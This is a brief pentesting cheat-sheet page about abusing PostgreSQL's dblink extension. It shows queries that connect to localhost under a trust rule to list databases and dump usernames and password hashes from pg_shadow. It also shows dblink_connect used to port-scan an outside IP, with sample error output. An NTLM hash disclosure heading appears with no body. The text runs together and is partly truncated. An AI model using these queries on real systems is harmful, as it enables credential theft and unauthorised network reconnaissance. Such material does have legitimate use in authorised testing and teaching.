Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
Privilege Escalation
host all all 127.0.0.1/32 trustSELECT * FROM dblink('host=127.0.0.1 user=postgres dbname=postgres', 'SELECT datname FROM pg_database') RETURNS (result TEXT);SELECT * FROM dblink('host=127.0.0.1 user=postgres dbname=postgres', 'select usename, passwd from pg_shadow') RETURNS (result1 TEXT, result2 TEXT);Port Scanning
SELECT * FROM dblink_connect('host=216.58.212.238 port=443 user=name password=secret dbname=abc connect_timeout=10');RROR: could not establish connectionDETAIL: could not connect to server: Connection refused Is the server running on host "127.0.0.1" and accepting TCP/IP connections on port 4444?ERROR: could not establish connectionDETAIL: timeout expiredERROR: could not establish connectionDETAIL: timeout expiredERROR: could not establish connectionDETAIL: received invalid response to SSL negotiation:UNC path - NTLM hash disclosure
最后更新于
这有帮助吗?